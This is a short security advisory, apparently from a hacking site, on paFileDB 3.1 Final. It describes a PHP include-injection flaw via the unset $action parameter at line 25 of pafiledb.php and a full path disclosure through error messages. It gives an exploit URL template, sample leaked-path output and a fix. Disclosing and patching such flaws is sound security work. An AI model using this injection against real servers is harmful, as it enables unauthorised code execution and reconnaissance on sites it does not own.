[Persianhacker.net] Full Path Disclosure and PHP Injection In Pafiledb 3.1 Final
PafileDB
paFileDB is designed to allow webmasters have a database of files for download on
their site. To add a download, all you do is upload the file using FTP or whatever
method you use, log into paFileDB's admin center, and fill out a form to add
a file. paFileDB lets you edit and delete the files too. No more messing with a
bunch of HTML pages for a file database on your site! Using speedy MySQL for storing
data, and powerful PHP for processing everything, paFileDB is one of the best
and easiest ways to manage files!

Discussion:
--------------------
What is the bug ?
There is a Full Path Disclosure vulnerability in Pafiledb 3.1 which ends to disclosure
of page local location on the web server.There is nother bug which let`s h4cK3r
inject php codes and run them on server.
Where is the bug ?
At line 25 of pafiledb.php :
[
if ($login == "do") { include "./includes/$action/login.php"; exit; }
]
as we see $action is used in above statement and it`s not declared yet so h4ck3r can
use it for PHP Injection attacks by passing his malicouse string from URL .
Exploit:
--------------------
[
http://www.example.com/pafiledb.php?login=do&action=[value]
]
which includes PHP codes in :
[
./includes/[value]/login.php
]
and if PHP page doesn`t realy exist at that address , server returns warring page
like this :
[
Warning: main(./includes/value/login.php): failed to open stream: No such file or
directory in /home/host/public_html/downloads/pafiledb.php on line 25
Warning: main(./includes/value/login.php): failed to open stream: No such file or
directory in /home/host/public_html/downloads/pafiledb.php on line 25
Warning: main(): Failed opening './includes/value/login.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php')
in /home/host/public_html/downloads/pafiledb.php
on line 25
]
and this message shows local address of pafiledb.php on server.
Solution:
--------------------
just remove line 25 of pafiledb.php ,there is no need for that line ( I wonder why
coder ever used that ? ).
